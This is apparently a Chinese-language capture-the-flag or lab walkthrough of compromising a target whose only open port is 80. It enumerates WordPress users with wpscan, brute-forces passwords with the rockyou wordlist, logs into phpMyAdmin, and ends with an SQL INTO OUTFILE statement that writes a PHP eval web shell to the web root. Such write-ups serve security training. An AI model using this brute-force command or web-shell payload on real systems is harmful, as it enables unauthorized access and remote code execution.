仅开放一个80端口，那就需要在80端口上getshell！

80端口上的HTTP服务是由Apache 2.4.25起的服务 Debian的操作系统没什么其他的信息

看到了存在一个目录是wordpress和PHPmyadmin！没什么其他的漏洞信息！

寻找立足点

尝试访问一下80端口上的信息：

尝试访问就是apache的默认界面，访问一下wordpress的界面：

wordpress的资源太多，无法完整的看到界面，还有phpmyadmin也尝试访问一下：

尝试访问了一下，试了几个弱口令，但是没能成功！还是先在80端口上寻找突破点！利用wpscan进行初步的wordpress的信息探测！

发现存在两个用户：lemon 和 orange！换了一个浏览器，发现了：

尝试爆破了wordpress的登陆界面以及phpmyadmin的登陆界面，均没有什么突破！

sql注入的话，感觉search界面也没有~

尝试直接使用wpscan进行密码的枚举：

wpscan --url http://192.168.1.105/wordpress -e u -P /usr/share/wordlists/rockyou.txt

很快就得到了一个密码，这里我就没有继续去探测lemon的密码了，rockyou的字典数量实在是太大了！登录wordpress！发现没有插件等！

但是发现了一串奇怪的字符！尝试phpmyadmin进行登录，发现成功了！看了一下数据库中的wp_user表！发现了里面存在lemon的加密密码，但是解密失败了！

直接尝试phpmyadmin！getshell！先看看into outfile方法！

查看mysql的安装目录：

select @@basedir; 查找mysql安装路径
show global variables like '%secure_file_priv%';
NULL    不允许导入或导出
/tmp    只允许在 /tmp 目录导入导出
空      不限制目录如果有权限
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/var/www/html/shell.php'
